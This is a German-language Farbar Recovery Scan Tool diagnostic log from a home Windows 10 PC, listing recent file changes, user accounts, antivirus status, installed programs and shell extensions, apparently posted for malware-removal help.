2021-04-07 12:48 - 2021-04-10 10:26 - 000000000 ____D C:\Program Files (x86)\Microsoft OneDrive
2021-04-07 12:48 - 2021-04-07 12:48 - 000000000 ___RD C:\Users\Default\OneDrive
2021-04-02 11:55 - 2021-04-02 11:55 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-stable.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-dev.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-canary.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000044272 _____ (Dropbox, Inc.) C:\WINDOWS\system32\DbxSvc.exe
2021-03-28 22:46 - 2021-03-28 22:46 - 000000000 ____D C:\WINDOWS\system32\Tasks\Mozilla
2021-03-27 12:16 - 2021-03-28 22:46 - 000000000 ____D C:\Program Files (x86)\Mozilla Firefox
2021-03-14 22:53 - 2021-03-14 22:53 - 002755584 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.tlb
2021-03-14 22:53 - 2021-03-14 22:53 - 002755584 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.tlb
2021-03-14 22:53 - 2021-03-14 22:53 - 001822272 _____ (Microsoft Corporation) C:\WINDOWS\system32\winload.efi
2021-03-14 22:53 - 2021-03-14 22:53 - 001394024 _____ (Microsoft Corporation) C:\WINDOWS\system32\winresume.efi
2021-03-14 22:53 - 2021-03-14 22:53 - 001314128 _____ (Microsoft Corporation) C:\WINDOWS\system32\SecConfig.efi
2021-03-14 22:53 - 2021-03-14 22:53 - 001163776 _____ C:\WINDOWS\system32\MBR2GPT.EXE
2021-03-14 22:53 - 2021-03-14 22:53 - 000611952 _____ C:\WINDOWS\SysWOW64\TextShaping.dll
2021-03-14 22:53 - 2021-03-14 22:53 - 000011359 _____ C:\WINDOWS\system32\DrtmAuthTxt.wim
2021-03-14 22:52 - 2021-03-14 22:52 - 000707016 _____ C:\WINDOWS\system32\TextShaping.dll
2021-03-14 22:52 - 2021-03-14 22:52 - 000231248 _____ C:\WINDOWS\system32\containerdevicemanagement.dll
2021-03-14 22:52 - 2021-03-14 22:52 - 000091136 _____ C:\WINDOWS\system32\Drivers\cimfs.sys
==================== Ein Monat (geänderte) ==================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
2021-04-13 16:17 - 2017-02-25 17:57 - 000000000 ____D C:\Users\Jules\AppData\LocalLow\Mozilla
2021-04-13 16:15 - 2019-02-10 01:45 - 000000000 ____D C:\ProgramData\Mozilla
2021-04-13 16:14 - 2020-08-10 21:25 - 000003508 _____ C:\WINDOWS\system32\Tasks\DashlaneUpgradeCheck
2021-04-13 16:13 - 2020-08-10 21:18 - 000000000 ____D C:\Users\Jules
2021-04-13 16:13 - 2017-08-05 15:42 - 000000000 ____D C:\Program Files\Emsisoft Anti-Malware
2021-04-13 16:13 - 2017-02-25 10:48 - 000000000 ___RD C:\Users\Jules\OneDrive
2021-04-13 16:12 - 2017-02-25 10:45 - 000000000 __SHD C:\Users\Jules\IntelGraphicsProfiles
2021-04-13 14:57 - 2019-12-07 11:14 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2021-04-13 14:57 - 2017-06-13 07:41 - 000000000 ____D C:\ProgramData\NVIDIA
2021-04-13 14:34 - 2017-11-02 05:50 - 000000000 ____D C:\Users\Jules\AppData\Local\Packages
2021-04-13 12:33 - 2017-02-26 11:13 - 000000000 ____D C:\Users\Jules\AppData\Local\Battle.net
2021-04-12 22:32 - 2020-08-10 21:25 - 000003700 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA
2021-04-12 22:32 - 2020-08-10 21:25 - 000003576 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore
2021-04-11 23:11 - 2020-08-10 21:18 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2021-04-10 10:26 - 2020-06-28 22:55 - 000002423 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
2021-04-10 10:26 - 2019-12-07 11:14 - 000000000 ___HD C:\Program Files\WindowsApps
2021-04-10 10:26 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\AppReadiness
2021-04-08 23:34 - 2019-12-16 19:26 - 000000000 ____D C:\ProgramData\Origin
2021-04-08 08:10 - 2016-12-27 11:54 - 000000000 ____D C:\Program Files (x86)\Microsoft Office
2021-04-07 12:57 - 2018-09-14 00:14 - 000000000 ____D C:\Users\Jules\AppData\Local\PlaceholderTileLogoFolder
2021-04-02 11:55 - 2020-06-12 21:21 - 000000000 ____D C:\Program Files (x86)\Dropbox
2021-03-31 01:17 - 2019-09-01 16:45 - 000000000 ____D C:\Users\Jules\AppData\Roaming\Sky Go
2021-03-28 22:46 - 2016-12-27 13:07 - 000001236 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2021-03-28 22:46 - 2016-12-27 13:07 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2021-03-27 12:21 - 2020-12-22 20:03 - 000000000 ____D C:\Users\Jules\AppData\Roaming\WhatsApp
2021-03-27 12:21 - 2020-12-22 20:03 - 000000000 ____D C:\Users\Jules\AppData\Local\WhatsApp
2021-03-26 12:10 - 2020-08-10 21:21 - 001723002 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2021-03-26 12:10 - 2019-12-07 16:50 - 000744968 _____ C:\WINDOWS\system32\perfh007.dat
2021-03-26 12:10 - 2019-12-07 16:50 - 000150354 _____ C:\WINDOWS\system32\perfc007.dat
2021-03-26 12:10 - 2019-12-07 11:13 - 000000000 ____D C:\WINDOWS\INF
2021-03-25 09:46 - 2020-08-10 21:25 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2021-03-25 09:46 - 2020-08-10 21:18 - 000008192 ___SH C:\DumpStack.log.tmp
2021-03-25 09:46 - 2019-12-07 11:03 - 001048576 _____ C:\WINDOWS\system32\config\BBI
2021-03-17 07:57 - 2017-02-26 11:50 - 000000000 ____D C:\Users\Jules\AppData\Roaming\Spotify
2021-03-17 07:57 - 2017-02-26 11:50 - 000000000 ____D C:\Users\Jules\AppData\Local\Spotify
2021-03-14 23:10 - 2020-08-10 21:18 - 000527456 _____ C:\WINDOWS\system32\FNTCACHE.DAT
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ___RD C:\WINDOWS\ImmersiveControlPanel
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\SysWOW64\setup
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\SysWOW64\oobe
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\SysWOW64\Dism
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\SystemResources
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\WinBioPlugIns
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\SystemResetPlatform
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\setup
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\oobe
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\system32\Dism
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\Provisioning
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\PolicyDefinitions
2021-03-14 23:10 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\bcastdvr
2021-03-14 22:56 - 2019-12-07 11:03 - 000000000 ____D C:\WINDOWS\CbsTemp
==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse ========
2021-04-13 14:40 - 2021-04-13 14:54 - 000000041 _____ () C:\Users\Jules\AppData\Roaming\Microsoft\{3E79AF4C-85CF-207B-FF52-8954A3A6CDC8}
==================== SigCheck ============================
(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
==================== Ende von FRST.txt ========================
Code:
ATTFilter Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 11-04-2021 durchgeführt von Jules (13-04-2021 16:25:30) Gestartet von D:\Downloads Windows 10 Home Version 2004 19041.867 (X64) (2020-08-10 19:25:37) Start-Modus: Normal ========================================================== ==================== Konten: ============================= Administrator (S-1-5-21-3625877240-3343899472-1711248771-500 - Administrator - Disabled) DefaultAccount (S-1-5-21-3625877240-3343899472-1711248771-503 - Limited - Disabled) Gast (S-1-5-21-3625877240-3343899472-1711248771-501 - Limited - Disabled) Jules (S-1-5-21-3625877240-3343899472-1711248771-1001 - Administrator - Enabled) => C:\Users\Jules WDAGUtilityAccount (S-1-5-21-3625877240-3343899472-1711248771-504 - Limited - Disabled) ==================== Sicherheits-Center ======================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) AV: Emsisoft Anti-Malware Home (Enabled - Up to date) {5FD8BF8F-F242-6153-61B5-8FF333E8736B} AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} AS: Emsisoft Anti-Malware (Enabled - Up to date) {E4B95E6B-D478-6EDD-5B05-B481486F39D6} AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} ==================== Installierte Programme ====================== (Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.) abFiles (HKLM-x32\...\{13885028-098C-4799-9B71-27DAC96502D5}) (Version: 2.07.2004 - Acer Incorporated) abPhoto (HKLM-x32\...\{B5AD89F2-03D3-4206-8487-018298007DD0}) (Version: 4.00.2001.1 - Acer Incorporated) Acer Care Center (HKLM\...\{1AF41E84-3408-499A-8C93-8891F0612719}) (Version: 2.00.3024 - Acer Incorporated) Acer Configuration Manager (HKLM-x32\...\{414D554E-4453-454E-0201-000000016258}) (Version: 2.1.16258 - Acer) Acer Jumpstart (HKLM-x32\...\{4B92BFBE-917D-4FA1-97E9-DB9D91286E90}) (Version: 3.0.18135.100 - Acer) Acer Portal (HKLM-x32\...\{A5AD0B17-F34D-49BE-A157-C8B3D52ACD13}) (Version: 3.12.2006 - Acer Incorporated) Acer Quick Access (HKLM\...\{8BBF04F1-C68A-441C-B5EF-446EE9960EAF}) (Version: 2.01.3007 - Acer Incorporated) Acer UEIP Framework (HKLM\...\{12A718F2-2357-4D41-9E1F-18583A4745F7}) (Version: 3.02.3001 - Acer Incorporated) Adobe Acrobat Reader DC - Deutsch (HKLM-x32\...\{AC76BA86-7AD7-1031-7B44-AC0F074E4100}) (Version: 21.001.20145 - Adobe Systems Incorporated) Anno 1800 (HKLM-x32\...\Uplay Install 4553) (Version: - Ubisoft) ANNO 2070 (HKLM-x32\...\{B48E264C-C8CD-4617-B0BE-46E977BAD694}) (Version: 1.0.0.0 - Ubisoft) AOP Framework (HKLM-x32\...\{4A37A114-702F-4055-A4B6-16571D4A5353}) (Version: 3.25.2001.0 - Acer Incorporated) Battle.net (HKLM-x32\...\Battle.net) (Version: - Blizzard Entertainment) Bethesda.net Launcher (HKLM-x32\...\{3448917E-E4FE-4E30-9502-9FD52EABB6F5}_is1) (Version: 1.47.11 - Bethesda Softworks) Dashlane Upgrade Service (HKLM-x32\...\Dashlane Upgrade Service) (Version: 2.1.17.0 - Dashlane, Inc.) Dell Peripheral Manager (HKLM\...\Dell Peripheral Manager) (Version: 1.3.0 - Dell Inc.) Diablo III (HKLM-x32\...\Diablo III) (Version: - Blizzard Entertainment) Discord (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Discord) (Version: 0.0.306 - Discord Inc.) DriverSetupUtility (HKLM\...\{2B51C83A-465D-4EA9-9CDC-1ED95ED09AC6}) (Version: 1.00.3015 - Acer Incorporated) Dropbox (HKLM-x32\...\Dropbox) (Version: 119.4.1772 - Dropbox, Inc.) Dropbox Update Helper (HKLM-x32\...\{099218A5-A723-43DC-8DB5-6173656A1E94}) (Version: 1.3.415.1 - Dropbox, Inc.) Hidden Emsisoft Anti-Malware (HKLM\...\{5502032C-88C1-4303-99FE-B5CBD7684CEA}_is1) (Version: 2017.7 - Emsisoft Ltd.) Epic Games Launcher (HKLM-x32\...\{9543ED52-29C3-46E1-9DF1-87609025150B}) (Version: 1.1.229.0 - Epic Games, Inc.) Epic Games Launcher Prerequisites (x64) (HKLM\...\{F9C5C994-F6B9-4D75-B3E7-AD01B84073E9}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden Hearthstone (HKLM-x32\...\Hearthstone) (Version: - Blizzard Entertainment) Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.5.0.1015 - Intel Corporation) Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 21.20.16.4534 - Intel Corporation) Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 15.0.0.1039 - Intel Corporation) Intel(R) Serial IO (HKLM\...\{9FD91C5C-44AE-4D9D-85BE-AE52816B0294}) (Version: 30.63.1620.3 - Intel Corporation) Intel® Chipsatz-Gerätesoftware (HKLM-x32\...\{61a0f1f5-c77e-4992-ba85-029f93cd8d18}) (Version: 10.1.1.27 - Intel(R) Corporation) Hidden Intel® Security Assist (HKLM-x32\...\{8B08DDA1-FDE7-4897-8EB6-E0B048A6D88B}) (Version: 1.0.1.618 - Intel Corporation) Launcher Prerequisites (x64) (HKLM-x32\...\{43a03b9c-4770-409c-a999-587b60700b63}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden Launcher Prerequisites (x64) (HKLM-x32\...\{c6c5a357-c7ca-4a5f-9789-3bb1af579253}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden LibreOffice 5.3.2.2 (HKLM\...\{682C33C0-5D61-48F0-B0A2-1A504F4C5905}) (Version: 5.3.2.2 - The Document Foundation) Microsoft 365 - de-de (HKLM\...\O365HomePremRetail - de-de) (Version: 16.0.13901.20336 - Microsoft Corporation) Microsoft ASP.NET MVC 4 Runtime (HKLM-x32\...\{3FE312D5-B862-40CE-8E4E-A6D8ABF62736}) (Version: 4.0.40804.0 - Microsoft Corporation) Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 89.0.774.75 - Microsoft Corporation) Microsoft Edge WebView2-Laufzeit (HKLM-x32\...\Microsoft EdgeWebView) (Version: 89.0.774.75 - Microsoft Corporation) Microsoft OneDrive (HKLM-x32\...\OneDriveSetup.exe) (Version: 21.052.0314.0001 - Microsoft Corporation) Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50918.0 - Microsoft Corporation) Microsoft Update Health Tools (HKLM\...\{99FAF70F-9B61-4AB0-9EC0-B31F98FFDC4A}) (Version: 2.75.0.0 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022 (HKLM-x32\...\{FF66E9F6-83E7-3A3E-AF14-8DE9A809A6A4}) (Version: 9.0.21022 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation) Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation) Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.22.27821 (HKLM-x32\...\{6361b579-2795-4886-b2a8-53d5239b6452}) (Version: 14.22.27821.0 - Microsoft Corporation) Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.22.27821 (HKLM-x32\...\{5bfc1380-fd35-4b85-9715-7351535d077e}) (Version: 14.22.27821.0 - Microsoft Corporation) Mozilla Firefox 87.0 (x64 de) (HKLM\...\Mozilla Firefox 87.0 (x64 de)) (Version: 87.0 - Mozilla) Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 87.0.0.7747 - Mozilla) Mozilla Thunderbird 45.8.0 (x86 de) (HKLM-x32\...\Mozilla Thunderbird 45.8.0 (x86 de)) (Version: 45.8.0 - Mozilla) Mozilla Thunderbird 78.9.0 (x86 de) (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Mozilla Thunderbird 78.9.0 (x86 de)) (Version: 78.9.0 - Mozilla) NVIDIA GeForce Experience 2.11.4.1 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 2.11.4.1 - NVIDIA Corporation) NVIDIA PhysX-Systemsoftware 9.15.0428 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.15.0428 - NVIDIA Corporation) Office 16 Click-to-Run Extensibility Component (HKLM-x32\...\{90160000-008C-0000-0000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Extensibility Component 64-bit Registration (HKLM\...\{90160000-00DD-0000-1000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Licensing Component (HKLM\...\{90160000-008F-0000-1000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM-x32\...\{90160000-008C-0407-0000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Origin (HKLM-x32\...\Origin) (Version: 10.5.96.47512 - Electronic Arts, Inc.) Overwatch (HKLM-x32\...\Overwatch) (Version: - Blizzard Entertainment) PDF Architect 7 (HKLM-x32\...\PDF Architect 7) (Version: 7.0.24.1546 - pdfforge GmbH) PDF Architect 7 Create Module (HKLM\...\{B600CC13-8F68-4D44-8867-93490894FAE5}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDF Architect 7 Edit Module (HKLM\...\{BA2C2671-B379-4101-A21C-4C549671FC8D}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDF Architect 7 View Module (HKLM\...\{E947A304-6110-4CFE-98AD-E6909072E87D}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDFsam Basic (HKLM\...\{7784962D-70CC-4C26-B020-FF05D4280846}) (Version: 4.2.2.0 - Sober Lemur S.a.s. di Vacondio Andrea) Qualcomm Atheros 11ac Wireless LAN Installer (HKLM-x32\...\{20CA507E-24AA-4741-87CF-CC1B250790B7}) (Version: 11.0.10299 - Qualcomm Atheros) Qualcomm Atheros Bluetooth Installer (64) (HKLM\...\{628988B4-3FA5-4EA6-BAA3-DA640F6718BD}) (Version: 10.0.0.191 - Qualcomm Atheros) RAGE 2 (HKLM-x32\...\RAGE 2) (Version: - Bethesda Softworks) Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 10.0.10586.21287 - Realtek Semiconduct Corp.) Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.6.1001.2015 - Realtek) Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7836 - Realtek Semiconductor Corp.) Rockstar Games Launcher (HKLM-x32\...\Rockstar Games Launcher) (Version: 1.0.33.319 - Rockstar Games) Rockstar Games Social Club (HKLM-x32\...\Rockstar Games Social Club) (Version: 2.0.7.5 - Rockstar Games) Sky Go 21.2.2.0 (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\com.bskyb.skygoplayer_is1) (Version: 21.2.2.0 - Sky) Spotify (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Spotify) (Version: 1.1.53.608.g7ed9c03a - Spotify AB) Spotify Weblink (HKLM-x32\...\{8CADF0CB-E834-4019-9B11-B84E051F2A8E}) (Version: 1.16.1210 - Acer) STAR WARS Jedi - Fallen Order™ (HKLM-x32\...\{D00A89F1-2D8C-4589-B1D1-73A6544E3B1F}) (Version: 1.0.9.0 - Electronic Arts, Inc.) Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation) Ubisoft Connect (HKLM-x32\...\Uplay) (Version: 28.1 - Ubisoft) Update for Windows 10 for x64-based Systems (KB4023057) (HKLM\...\{16AD6161-2E47-4BF1-AA77-0946EFE93E08}) (Version: 2.61.0.0 - Microsoft Corporation) Vulkan Run Time Libraries 1.0.26.0 (HKLM\...\VulkanRT1.0.26.0) (Version: 1.0.26.0 - LunarG, Inc.) WhatsApp (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\WhatsApp) (Version: 2.2102.9 - WhatsApp) Windows 10-Upgrade-Assistent (HKLM-x32\...\{D5C69738-B486-402E-85AC-2456D98A64E4}) (Version: 1.4.9200.17376 - Microsoft Corporation) Packages: ========= Facebook -> C:\Program Files\WindowsApps\Facebook.Facebook_186.2619.19263.0_x86__8xx8rvfyw5nnt [2019-10-24] (Facebook Inc) Media Engine-Add-On für Fotos -> C:\Program Files\WindowsApps\Microsoft.Photos.MediaEngineDLC_1.0.0.0_x64__8wekyb3d8bbwe [2019-12-30] (Microsoft Corporation) Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x64__8wekyb3d8bbwe [2019-02-12] (Microsoft Corporation) [MS Ad] Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x86__8wekyb3d8bbwe [2019-02-12] (Microsoft Corporation) [MS Ad] Microsoft Solitaire Collection -> C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.7.10142.0_x64__8wekyb3d8bbwe [2020-10-25] (Microsoft Studios) [MS Ad] MSN Sport -> C:\Program Files\WindowsApps\Microsoft.BingSports_4.36.20714.0_x64__8wekyb3d8bbwe [2020-03-26] (Microsoft Corporation) [MS Ad] Netflix -> C:\Program Files\WindowsApps\4DF9E0F8.Netflix_6.97.752.0_x64__mcm4njqhnhss8 [2020-07-17] (Netflix, Inc.) Twitter -> C:\Program Files\WindowsApps\9E2F88E3.Twitter_6.1.4.1000_neutral__wgeqdkkx372wm [2018-11-21] (Twitter Inc.) ==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ============== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{47E6DCAF-41F8-441C-BD0E-A50D5FE6C4D1}\localserver32 -> "C:\Users\Jules\AppData\Local\Microsoft\OneDrive\21.030.0211.0002\Microsoft.Nucleus.exe" => Keine Datei CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\localserver32 -> "C:\Users\Jules\AppData\Local\Microsoft\OneDrive\21.030.0211.0002\Microsoft.Nucleus.exe" => Keine Datei CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{E31EA727-12ED-4702-820C-4B6445F28E1A} -> [Dropbox] => C:\Users\Jules\Dropbox [2020-06-12 21:23] ShellIconOverlayIdentifiers: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ DropboxExt01] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt02] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt03] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt04] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt05] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt06] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt07] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt08] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt09] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt10] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) 